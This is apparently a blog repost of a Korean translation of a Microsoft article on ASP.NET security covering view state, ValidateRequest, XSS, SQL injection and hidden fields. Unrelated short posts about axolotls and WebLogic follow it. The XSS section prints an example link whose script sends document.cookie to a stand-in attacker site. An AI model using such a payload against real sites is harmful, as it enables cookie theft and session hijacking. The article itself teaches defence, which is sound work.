뷰 상태 MAC 확인은 @Page 지시문 특성인 EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.

ValidateRequest

교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사 Cross-site Scripting Overview 를 참조하십시오.

XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?

동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a> 

사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.

XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.

XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인 Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.

잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는 상황 도 있습니다.

ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.

<%@ Page ValidateRequest="false" %> 

그러나 ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다. 여기  있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.

참고   ValidateRequest 기능에는 원래 결함이 있습니다 . 이 기능이 예상대로 작동하도록 하려면 패치 를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.

ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>, <b>, <i>, <p>, <br>, <hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.

다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.

  • HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
  • HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
  • 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면, ValidateRequest 특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.

데이터베이스 관점

SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은 여기 에 나와 있습니다.

다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.

  • 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
  • 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
  • SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.

저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.

더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.

몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.

원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.

  • 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
  • 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
  • SQL의 매개 변수화된 쿼리를 적극 사용합니다.
  • 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.

숨겨진 필드

이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진 <input> 필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NET ViewState 속성에는 다음 두 가지 목적이 있습니다. 첫 번째는 ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.

그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.

ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는 DataGrid 컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.

숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.

ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는 LosFormatter 클래스로, ViewState 구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.

private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }

앞에 나와 있는 코드 조각에서는 LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.

전자 메일과 스팸

마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.

페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.

무엇보다도 전자 메일 주소를 mailto 링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를 DotNet2TheMax  웹 사이트에서 받을 수 있습니다.

요약

의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.

그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.

ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.

ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.

이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.

관련 리소스

Writing Secure Code(Michael Howard/David LeBlanc 공저)

TechNet Magazine, Theft On The Web: Prevent Session Hijacking 




Posted by tornado
|


 



 



 



이름: 엑솔로틀(Axolotls) 또는 우파루파


(동물매니아 사이에선 Axolotl로 많이 불리고, 대중매체를통해서는 우파루파로 알려져있다)


학명: Ambystoma mexicanum.


영명: Mexico Salamander.


분포: 멕시코 Lakes Xochimilco and Chalco.

Posted by tornado
|

BEA WebLogic Server

Posted by tornado
|